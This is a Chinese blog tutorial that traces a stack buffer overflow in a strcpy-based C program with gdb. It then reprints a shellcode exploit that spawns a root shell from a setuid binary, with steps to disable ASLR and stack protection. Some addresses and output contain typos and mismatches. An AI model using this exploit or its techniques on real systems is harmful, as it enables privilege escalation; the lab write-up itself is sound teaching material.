Chinaunix首页 | 论坛 | 博客
  • 博客访问: 259449
  • 博文数量: 74
  • 博客积分: 1470
  • 博客等级: 上尉
  • 技术积分: 793
  • 用 户 组: 普通用户
  • 注册时间: 2008-11-25 21:01
文章分类

全部博文(74)

文章存档

2011年(1)

2010年(32)

2009年(32)

2008年(9)

我的朋友

分类: LINUX

2008-11-29 21:41:07

在上一篇中我们详细的介绍了程序运行时,尤其是函数调用时的内存情况,从内存映像方面阐述了缓冲区溢出的机理。这次,我们就一个缓冲区溢出实例进行分析,旨在使读者看完这篇文章后能够很轻松的自己实现一次缓冲区溢出的攻击实验。
首先需要声明几点:
1。本人gcc版本是4.3.2,而gcc从版本4以后就已经加上了缓冲区溢出攻 击的保护机制(这个以后再讲),所以在gcc的4版本以上进行实验的读者,可以在编译时加上-fno-stack-protector选项来关闭缓冲区溢 出保护。当然,也可以在更低版本的gcc中实现。
2。在具体做实验时,可能每一次gdb调试,分配给程序的虚拟地址空间都不一样, 这就给初次做实验的读者构成了很大的不便,可以执行这个命令echo "0" > /proc/sys/kernel/randomize_va_space ,使每次gdb调试时,分配给程序的虚拟地址空间都一样。当然,执行命令前,你要切换到root权限。
3。这篇文章是作者的一次缓冲区溢出实验的全过程,实际情况可能根据个人机器的不同而稍微有所差异,所以读者在自己做实验时,要针对个人的不同情况而实际的进行分析。
4。缓冲区溢出攻击目标程序p.c和攻击程序vulFuc.c都是找的,而作者只是实现了一下而已。主要是想把自己的实践经历拿出来和大家分享。
好了,废话少说,正式上路,首先来看一段有问题的程序:
#include
#include

void vulFunc(char* s)
{
char buf[10];
strcpy(buf, s);
printf("String=%s\n", buf);
}

main(int argc, char* argv[])
{
if(argc == 2)
{
vulFunc(argv[1]);
 }
    else
    {
        printf("Usage: %s \n", argv[0]);
    }
}
 
稍微有点儿C知识的人都可以看懂这段代码,这段代码的问题就出在strcpy(buf, s)这条语句上,它将s拷贝到buf中,而没有对s的长度进行限制,这就给缓冲区溢出攻击提供了可乘之计。我们要做的第一步就是编译这段代码gcc -o p p.c -fno-stack-protector -g,然后跟进内存弄清楚缓冲区溢出的机理,跟内存的最好方式当然就是gdb跟踪调试了。这里如果读者对函数调用时内存情况还不太了解的话,可以先看看上一篇《缓冲区溢出系列一之从内存窥视缓冲区溢出攻击的机理》
 
对函数main和vulFun反汇编
 
(gdb) disas main
Dump of assembler code for function main:
0x08048421 :    lea 0x4(%esp),%ecx
0x08048425 :    and $0xfffffff0,%esp
0x08048428 :    pushl -0x4(%ecx)
0x0804842b :    push %ebp
0x0804842c :    mov %esp,%ebp
0x0804842e :    push %ecx
0x0804842f :    sub $0x14,%esp
0x08048432 :    mov %ecx,-0xc(%ebp)
0x08048435 :    mov -0xc(%ebp),%eax
0x08048438 :    cmpl $0x2,(%eax)
0x0804843b :    jne 0x8048452
0x0804843d :    mov -0xc(%ebp),%edx
0x08048440 :    mov 0x4(%edx),%eax
0x08048443 :    add $0x4,%eax
0x08048446 :    mov (%eax),%eax
0x08048448 :    mov %eax,(%esp)
0x0804844b :    call 0x80483f4
0x08048450 :    jmp 0x804846a
0x08048452 :    mov -0xc(%ebp),%edx
0x08048455 :    mov 0x4(%edx),%eax
0x08048458 :    mov (%eax),%eax
0x0804845a :    mov %eax,0x4(%esp)
0x0804845e :    movl $0x804854b,(%esp)
0x08048465 :    call 0x804832c
0x0804846a :    add $0x14,%esp
0x0804846d :    pop %ecx
0x0804846e :    pop %ebp
0x0804846f :    lea -0x4(%ecx),%esp
0x08048472 :    ret
End of assembler dump.

(gdb) disas vulFunc
Dump of assembler code for function vulFunc:
0x080483f4 :    push %ebp
0x080483f5 :    mov %esp,%ebp
0x080483f7 :    sub $0x18,%esp
0x080483fa :    mov 0x8(%ebp),%eax
0x080483fd :    mov %eax,0x4(%esp)
0x08048401 :    lea -0xa(%ebp),%eax
0x08048404 :    mov %eax,(%esp)
0x08048407 :    call 0x804831c
0x0804840c :    lea -0xa(%ebp),%eax
0x0804840f :    mov %eax,0x4(%esp)
0x08048413 :    movl $0x8048540,(%esp)
0x0804841a :    call 0x804832c
0x0804841f :    leave
0x08048420 :    ret
End of assembler dump.
 
好了,我们有点儿耐心来详细的分析一下这两段汇编代码。相信到本篇末尾,你会对这两段汇编代码再熟悉不过了。
先看看在执行main函数以前内存的情况:设置断点到main函数处b *0x08048421 ,执行程序r AAAAAAAA,(这里语句后面的都是相应的命令,如果没有特殊解释的话),看看寄存器的情况:
 (gdb) b *0x08048421
Breakpoint 1 at 0x8048421: file p.c, line 18.
(gdb) r AAAAAAAA
Starting program: /home/xulei/bufferoverflow/p AAAAAAAA
Breakpoint 1, main (argc=114472, argv=0x0) at p.c:18
18  {
(gdb) i r
eax            0xbffff594   -1073744492
ecx            0xf76c9569   -143878807
edx            0x2  2
ebx            0xb7fcbff4   -1208172556
esp            0xbffff50c   0xbffff50c
ebp            0xbffff568   0xbffff568
esi            0x8048490    134513808
edi            0x8048340    134513472
eip            0x8048421    0x8048421
eflags         0x246    [ PF ZF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
这里,我们重点关注的对象是基址寄存器ebp和和指针寄存器esp。可以看到ebp是 0xbffff568,esp是0xbffff50c。上一篇《缓冲区溢出系列一之从内存窥视缓冲区溢出攻击的机理》中有提到,当程序被操作系统调入内存运行, 其相对应的进程在内存中的映像如下图所示:
 
(内存高端)
+--------------------+
+不需要关心的内存                                    +
+--------------------+
Env String (环境变量字符串)            +
+--------------------+
Argv String (命令行参数字符串)      +
+--------------------+
Env Pointers (环境变量指针)          +
+--------------------+
Argv Pointers  (命令行参数指针)   +
+--------------------+
Argc    (命令行参数个数)                   +
+--------------------+
main函数的栈帧                                    +
+--------------------+
func_1的栈帧                                      +
+--------------------+
func_2的栈帧                                      +
+--------------------+
func_3的栈帧                                      +
+--------------------+
Stack   (栈)                                     +
+--------------------+
Heap    (堆)                                    +
+--------------------+
BSS data    (非初始化数据区)           +
+--------------------+
INIT data    (初始化数据区)              +
+--------------------+
Text  (文本区)                                  +
+--------------------+
(内存低端)
 
我们来看看是不是这回事
(gdb) x/10x $esp
0xbffff50c:  0xb7e88685  0x00000002  0xbffff594  0xbffff5a0
0xbffff51c:  0xb7fe2b38  0x00000001  0x00000001  0x00000000
0xbffff52c:  0x0804824b  0xb7fcbff4
可以看到,0xbffff510的内容是 0x00000002,即命令行参数的个数,那么0xbffff514的内容 0xbffff594肯定就是存放命令行参数指针的地方了,看看猜的对不对
(gdb) x/x 0xbffff594
0xbffff594:  0xbffff6ef
内存0xbffff594里面存放的是命令行参数指针0xbffff6ef
(gdb) x/2s 0xbffff6ef
0xbffff6ef:  "/home/xulei/bufferoverflow/p"
0xbffff70c:  "AAAAAAAA"
呵呵,果然是我们的命令行参数。那0xbffff518的内容 0xbffff5a0就是环境变量指针
(gdb) x/x 0xbffff5a0
0xbffff5a0:  0xbffff715
内存0xbffff5a0里面存放的是环境变量指针0xbffff715
(gdb) x/8s 0xbffff715
0xbffff715:  "GPG_AGENT_INFO=/tmp/seahorse-3G4y3W/S.gpg-agent:9888:1"
0xbffff74c:  "TERM=xterm"
0xbffff757:  "DESKTOP_STARTUP_ID="
0xbffff76b:  "SHELL=/bin/bash"
0xbffff77b:  "XDG_SESSION_COOKIE=e0c8381229b3540e506e5b0448907cec-1227663840.890182-732694139"
0xbffff7cb:  "GTK_RC_FILES=/etc/gtk/gtkrc:/home/xulei/.gtkrc-1.2-gnome2"
0xbffff805:  "WINDOWID=41943284"
0xbffff817:  "USER=xulei"
也猜对了。
但0xbffff50c里面的内容 0xb7e88685是什么呢?根据经验我猜是main函数返回时的返回地址,也就是调用main函数的函数的下一条指令的地址。呵呵,有点儿绕口。相信看完这篇文章后你也就会有这样的经验了。
 
接下来我们来分析main函数反汇编后的头几条语句
 
0x08048421 :    lea 0x4(%esp),%ecx
0x08048425 :    and $0xfffffff0,%esp
0x08048428 :    pushl -0x4(%ecx)
0x0804842b :    push %ebp
0x0804842c :    mov %esp,%ebp
 
首先将%esp+0x4给%ecx,esp现在为0xbffff50c,那么 ecx里的内容就是0xbffff510;让后将esp和$0xfffffff0相与,结构是esp变为0xbffff500,即将栈指针向后移动0xc 个字节;再将ecx-0x4(即0xbffff50c)里的内容0xb7e88685压栈,那么此时esp就变成了0xbffff4fc,而 0xbffff500里的内容是 0xb7e88685,然后再将原ebp压栈,此时esp为0xbffff4f8;而最后一条语句将赋值给ebp,此时ebp也为0xbffff4f8。执行完这几条语句后寄存器的情况为
(gdb) i r
eax            0xbffff594    -1073744492
ecx            0xbffff510    -1073744624
edx            0x2   2
ebx            0xb7fcbff4    -1208172556
esp            0xbffff4f8    0xbffff4f8
ebp            0xbffff4f8    0xbffff4f8
esi            0x8048490 134513808
edi            0x8048340 134513472
eip            0x804842e 0x804842e
eflags         0x386 [ PF SF TF IF ]
cs             0x73  115
ss             0x7b  123
ds             0x7b  123
es             0x7b  123
fs             0x0   0
gs             0x33  51
可以看出esp和ebp都是 0xbffff4f8。
相应的内存情况为
(gdb) x/10x $esp
0xbffff4f8:  0xbffff568  0xb7e88685  0x08048490  0x08048340
0xbffff508:  0xbffff568  0xb7e88685  0x00000002  0xbffff594
0xbffff518:  0xbffff5a0  0xb7fe2b38
其中内存0xbffff4f8里的内容为原ebp的值 0xbffff568,内存0xbffff4fc里内容为 0xb7e88685,和0xbffff50c中的一样,都为main函数的返回地址。
所以前面几行代码的意思就是压入main函数的返回地址,压入原ebp。看过上篇《缓冲区溢出系列一之从内存窥视缓冲区溢出攻击的机理》的读者都知道,函数调用时栈帧结构为
 
(内存高端)
+--------------------+
+                            参数一                       +
+--------------------+
+                            参数二                       +
+--------------------+
+                          。。。。。。                +
+--------------------+
+                            参数N                 
+--------------------+
+                            RET                  
+--------------------+
+                           原ebp                 
+--------------------+
+                     local param N         
+--------------------+
+                           。。。。。。               +
+--------------------+
+                     local param 二             +
+--------------------+
+                     local param 一             +
+--------------------+
(内存低端)
 
所以也就不难理解上面的几行代码的意义了。
再向下看
 
0x0804842e :    push %ecx
0x0804842f :    sub $0x14,%esp
0x08048432 :    mov %ecx,-0xc(%ebp)
0x08048435 :    mov -0xc(%ebp),%eax
0x08048438 :    cmpl $0x2,(%eax)
0x0804843b :    jne 0x8048452
我们来一条一条分析,
push   %ecx,将ecx压栈
sub    $0x14,%esp ,将esp减去0x14个字节,为后面存储留出空间。此时esp为0xfffff4e0
mov    %ecx,-0xc(%ebp)
mov    -0xc(%ebp),%eax
cmpl   $0x2,(%eax)
这三条指令是将ecx的内容给eax,这时,ecx、eax和内存%ebp-0xc里的内容都是 0xbffff510,
如下所示:
(gdb) i r
eax            0xbffff510   -1073744624
ecx            0xbffff510   -1073744624
(gdb) x/x $ebp-0xc
0xbffff4ec: 0xbffff510
而 内存地址0xbffff510里面的内容正是命令行参数个数2
(gdb) x/x 0xbffff510
0xbffff510: 0x00000002
 
然后判断eax所存地址里的内容是否等于2,对应于C源代码中的if(argc == 2)这一条。显然这里是等于2的,所以我们先不跳转,再往下看
 
0x0804843d :    mov -0xc(%ebp),%edx
0x08048440 :    mov 0x4(%edx),%eax
0x08048443 :    add $0x4,%eax
0x08048446 :    mov (%eax),%eax
0x08048448 :    mov %eax,(%esp)
首先将内存地址(ebp-0xc)里面的内容给edx,所以此时edx里面的内容是 0xbffff510(即命令行参数个数2的地址)
然后将内存地址(edx+0x4)即0xbffff514里面的内容送eax,可以看看内存
(gdb) x/x 0xbffff514
0xbffff514: 0xbffff594
此时eax就变成了0xbffff594,看看寄存器
(gdb) i r
eax            0xbffff594   -1073744492
然后add    $0x4,%eax,eax变成0xbffff598,而0xbffff598里面是什么呢?
(gdb) x/x 0xbffff598
0xbffff598: 0xbffff70c
(gdb) x/s 0xbffff70c
0xbffff70c: "AAAAAAAA"
原来是将存放AAAAAAAA的首地址的内存地址送给eax。
mov    (%eax),%eax,eax这次eax就是 AAAAAAAA首地址0xbffff70c了
mov    %eax,(%esp),将esp所指内存地址的内容赋值为eax里的内容,即0xbffff70c
(gdb) i r
eax            0xbffff70c   -1073744116
ecx            0xbffff510   -1073744624
edx            0xbffff510   -1073744624
ebx            0xb7fcbff4   -1208172556
esp            0xbffff4e0   0xbffff4e0
esp为 0xbffff4e0,
(gdb) x/x  0xbffff4e0
0xbffff4e0: 0xbffff70c
而通过前面栈帧结构的分析我们可以很清楚的知道,栈帧中在命令行参数个数的前面应该存放的是命令行参数指针,既然内存0xbffff510
里面存放的是命令行参数的个数,那么内存0xbffff514里面放的就应该是指向命令行参数的指针了。其实这个内存的内容前面已经给大家看过了,这里不妨再重放一次,
(gdb) x/x 0xbffff510
0xbffff510: 0x00000002
(gdb) x/x 0xbffff514
0xbffff514: 0xbffff594
(gdb) x/x 0xbffff594
0xbffff594: 0xbffff6ef
(gdb) x/2s 0xbffff6ef
0xbffff6ef: "/home/xulei/bufferoverflow/p"
0xbffff70c: "AAAAAAAA"
(gdb) x/x 0xbffff598
0xbffff598: 0xbffff70c
(gdb) x/s 0xbffff70c
0xbffff70c: "AAAAAAAA"
相信如果还有参数BBBBBBBB的话,那么0xbffff59c里面存放的就是BBBBBBBB的首地址。
这回清楚多了吧。
总结一下上一段代码的意思就是把AAAAAAAA的首地址压入esp所指的内存 中,也即是将函数vulFunc的参数压入内存,下一步当然就是调用函数vulFunc了。为什么要把参数AAAAAAAA的首址压如esp所指内存后才 调用vulFunc呢?还记得我们的栈帧结构吧。
 
(内存高端)
+--------------------+
+                            参数一                       +
+--------------------+
+                            参数二                       +
+--------------------+
+                          。。。。。。                +
+--------------------+
+                            参数N                 
+--------------------+
+                            RET                  
+--------------------+
+                           原ebp                 
+--------------------+
+                     local param N         
+--------------------+
+                           。。。。。。               +
+--------------------+
+                     local param 二             +
+--------------------+
+                     local param 一             +
+--------------------+
(内存低端)
压入参数是调用函数做得事情,压入返回地址RET是调用call指令时系统自动完成的,而压入原ebp和将参数拷贝到被调用函数的地址空间中是由被调用函数做的,最起码我的机器是这样的。
 
然后就是调用函数这条命令了,
0x0804844b :   call   0x80483f4
让我们再走进函数vulFunc,来看看到底应该怎样利用strcpy的漏洞。
设置断点到vulFunc函数的代码首址,然后continue,
(gdb) b *0x080483f4
Breakpoint 2 at 0x80483f4: file p.c, line 11.
(gdb) c
Continuing.
Breakpoint 2, vulFunc (s=0xbffff70c "AAAAAAAA") at p.c:11
11  {
看看寄存器内容
(gdb) i r
eax            0xbffff70c   -1073744116
ecx            0xbffff510   -1073744624
edx            0xbffff510   -1073744624
ebx            0xb7fcbff4   -1208172556
esp            0xbffff4dc   0xbffff4dc
ebp            0xbffff4f8   0xbffff4f8
esi            0x8048490    134513808
edi            0x8048340    134513472
eip            0x80483f4    0x80483f4
eflags         0x282    [ SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
ebp还是没变 0xbffff4f8,而esp则减少了4个字节,从0xbffff4e0 变成了 0xbffff4dc,那么到底增加了什么内容呢?
(gdb) x/x $esp
0xbffff4dc: 0x08048450
呵呵,看看文章开头main函数反汇编后的汇编代码,不难找到0x08048450正是call   0x80483f4 后面的那条语句,就函数vulFunc的返回地址,看来压入返回地址的确是call指令自动完成的。
那么下面该压入原ebp了。
 
0x080483f4 : push %ebp
0x080483f5 : mov %esp,%ebp
 
这两条指令就不讲了,列一下寄存器的内容吧:
(gdb) i r
eax            0xbffff70c   -1073744116
ecx            0xbffff510   -1073744624
edx            0xbffff510   -1073744624
ebx            0xb7fcbff4   -1208172556
esp            0xbffff4d8   0xbffff4d8
ebp            0xbffff4d8   0xbffff4d8
此时ebp和esp都是 0xbffff4d8,而内存0xbffff4d8里面的内容据不言而喻了。
再向下看
 
0x080483f7 : sub $0x18,%esp
0x080483fa : mov 0x8(%ebp),%eax
0x080483fd : mov %eax,0x4(%esp)
0x08048401 :lea -0xa(%ebp),%eax
0x08048404 :mov %eax,(%esp)

 
首先esp减去0x18,给后面要存入内存的数据流出空间。
下面两句是将(ebp+8)的地址里的内容送到(esp+4)里边去。但esp+8里面放的是什么呢?
看一下:
 x/10x $ebp
0xbffff4d8: 0xbffff4f8  0x08048450  0xbffff70c  0x08049ff4
0xbffff4e8: 0xbffff508  0xbffff510  0xb7ff0f50  0xbffff510
0xbffff4f8: 0xbffff568  0xb7e88685
是 0xbffff70c,即AAAAAAAA的首地址。
(gdb) x/10x $esp
0xbffff4c0: 0x00000000  0xbffff70c  0xbffff6ef  0xb7ee0dae
0xbffff4d0: 0xb7f8f849  0x08049ff4  0xbffff4f8  0x08048450
0xbffff4e0: 0xbffff70c  0x08049ff4
可以看出内存(esp+0x4)里面的确放入了 0xbffff70c
下面两条指令是将ebp的内容减去0xa放入esp中,结果是
(gdb) x/10x $esp
0xbffff4c0: 0xbffff4ce  0xbffff70c  0xbffff6ef  0xb7ee0dae
0xbffff4d0: 0xb7f8f849  0x08049ff4  0xbffff4f8  0x08048450
0xbffff4e0: 0xbffff70c  0x08049ff4
寄存器esp所指向的内存的内容为 0xbffff4ce。
这是干什么呢?呵呵,将esp所指向的内存的内容改为 0xbffff4ce实际上对应这条语句:char buf[10];
即为局部变量buf申请内存,内存的首地址是 0xbffff4ce。这下明白了吧。
总结一下上一段代码的含义,其实上一段代码是给调用strcpy做准备的。strcpy需要两个参数buf和s。而现在esp所指向的内存为buf首址,esp+4所指的内存为s的首址。好了,根据函数调用时栈帧结构,两个参数都压栈了,下来该调用函数strcpy了。
0x08048407 :call   0x804831c <>
我们不关心具体是怎么拷贝的,我们只是想看一看到底拷贝后的结果是什么?直接越过此函数调用。
(gdb) b *0x0804840c
Breakpoint 3 at 0x804840c: file p.c, line 14.
(gdb) c
Continuing.
Breakpoint 3, vulFunc (s=0xbffff70c "AAAAAAAA") at p.c:14
14      printf("String=%s\n", buf);
(gdb) x/10x $esp
0xbffff4c0: 0xbffff4ce  0xbffff70c  0xbffff6ef  0x41410dae
0xbffff4d0: 0x41414141  0x08004141  0xbffff4f8  0x08048450
0xbffff4e0: 0xbffff70c  0x08049ff4
可以看出从esp的内容0xbffff4ce 所对应的内存地址开始向内存高端拷贝了8个A(0x41)和一个字符结束符\0。这正是我们的焦点,也正是我们缓冲区溢出攻击所要利用的地方。如果我们传 进去的不是8个A,而是其他内容,那么很可能就覆盖了返回地址 0x08048450,如果要拷贝的内容处理得当的话(比如上篇讲的shellcode),那么得到一个超级权限的shell也自然不在话下。
 
其实,花了这么大的篇幅,还是向大家介绍了缓冲区溢出攻击时内存中栈的使用情况,只不过这次是真枪实弹的经历了一次。上一篇只是一些原理性的介绍而已。
 
好了,枯燥的内存情况就分析到这里吧。其实还有好多东西可以继续挖掘,只是要是再深究的话就偏离我们的主题了。
 
下来就轮到我们的攻击了。
我们先给一段攻击的C代码,这段代码也在这里可以找到,是别人写好的,我只是拿过来用,所以还是保留原作者的版权。
 
 
/*
 * 文件名 : myex.c
 * 编译 : gcc -o myex myex.c
 *
 * 说明 : 这是在virtualcat关于如何编写Linux下的exploit程序介绍中用来攻击
 * 有问题的程序p的程序示范源代码
 * 有关程序p的源代码请参见同一文章中的p.c
 * 如果有什么问题, 请与virtualcat联系: virtualcat@hotmail.com
 *
 * 这个程序要求把相应的宏 ESP_RET_DIFF 的定义改为 -116到 -16之间的值才能正常工作,
 * 不然的话, 要通过命令行参数来进行调整, 原因请参见见文章中的分析.
 *
 * 此程序在Redhat 6.2 Linux 2.2.14-12 上调试通过.
 *
 */

#include
#include
#include
#include

#define RET_DIS 14 // Displacement to replace the return address
#define NOP 0x90 // Machine code for no operation
#define NNOP 100 // Number of NOPs
#define ESP_RET_DIFF 0 //--> Need to apply an appropriate value here. (-60 shoul work)

char shellCode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

int get_esp()
{
    __asm__("mov %esp, %eax");
}

int main(int argc, char **argv)
{
    char* charPtr = NULL;
    char* bufferPtr = NULL;
    int* intPtr = NULL;

    int shellCodeLength = strlen(shellCode);
    int bufferSize = RET_DIS + NNOP + shellCodeLength + 1;

    int retAddr = 0;
    int adjustment = 0;
    int i;
    int esp = get_esp();

    if(argc >= 2)
    {
        adjustment = atoi(argv[1]);
    }

    retAddr = esp + ESP_RET_DIFF + adjustment;

    bufferPtr = (char *) malloc(bufferSize);

    if(bufferPtr != NULL)
    {
        /* Fill the whole buffer with 'A' */
        memset(bufferPtr, 0x41, bufferSize);

        /* Butt in our return address */
        intPtr = (int *) (bufferPtr + RET_DIS);
        *intPtr++ = retAddr;
        charPtr = (char *) intPtr;

        /* To increase the probabilty of hitting the jackpot */
        for(i=0; i                *charPtr++ = NOP;

        /* Butt in the shell code */
        for(i=0; i                *charPtr++ = shellCode[i];
        *charPtr = 0; /* Null terminated - Not necessary but nice to have */

        printf("esp=0x%.8x, adjustment=%d, jump to 0x%.8x. Have fun!\n", esp, adjustment, retAddr);

        /* Try to hit the jackpot */
        execl("./p", "p", bufferPtr, NULL);
    }
    else
    {
        printf("No more free memory!\n");
    }
}
 
稍微解释一下这段代码吧。
shellcode即我们要获得超级权限的shell的一段代码。我们的目的就是 想让main函数调用vulFunc以后返回到shellcode的首地址处,接着执行我们的shellcode,如果能达到这个目的的话,那我们的攻击 也就完成了。至于shellcode的编写以后有时间再讲。
这段代码的核心就是填充bufferptr所指向的buffSize个内存块。Bufferptr是由以下四个部分组成的:
长度为RET_DIS的字符A+返回地址+若干个NOP+shellcode
这个RET_DIS该怎么确定呢?回头看一看我们分析到最后的内存情况:
(gdb) x/10x $esp
0xbffff4c0: 0xbffff4ce  0xbffff70c  0xbffff6ef  0x41410dae
0xbffff4d0: 0x41414141  0x08004141  0xbffff4f8  0x08048450
0xbffff4e0: 0xbffff70c  0x08049ff4
strcpy(buf,s)中的buf首址为0xbffffca,存放返回地址 0x08048450的内存块为0xbffff4dc,所以我们的RET_DIS应该等于0xbffff4dc—0xbffffca=0x12,即18, 这个要在myex.c的源代码改过来。当然如果你作实验的话,也要根据你的情况改成正确的值。
这个返回地址就不好确定了,只能靠ESP_RET_DIFF 和adjustment来调整了,只要能对应到后面的NOP和shellcode首址的任何一个内存块就行。
这里还想说的就是当我们执行myex.c时,我们是用execl("./p", "p", bufferPtr, NULL);来调用程序p的,所以我们无法知道p执行时esp和ebp的情况,我们只知道myex.c运行时的esp和ebp,但是这两个esp(或 ebp)之间肯定是有一定的内存距离,只是我们不知道罢了,所以这就需要我们去猜。
 
来看看执行的效果吧。
先将程序p进行setuid
bash$ su root
Password:
bash# chmod 4555 p
bash# ls -l p
-r-sr-xr-x 1 root sys 11941 Apr 28 18:31 p
bash# exit
然后执行myex
xulei@xulei-desktop:~/bufferoverflow$ id
uid=1000(xulei) gid=1000(xulei) 组=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),
107(fuse),109(lpadmin),115(admin),1000(xulei)
xulei@xulei-desktop:~/bufferoverflow$ ./myex
ebp=0xbffff4f8esp=0xbffff4f4, adjustment=0, jump to 0xbffff4f4. Have fun!
String=AAAAAAAAAAAAAA
阅读(2123) | 评论(2) | 转发(1) |
给主人留下些什么吧!~~

kenny_242017-06-21 00:24:19

请教一下,为什么我的反汇编没有最开始的main函数反汇编后的头几条语句呢?

chinaunix网友2010-10-05 19:02:29

确实很有用,多谢楼主了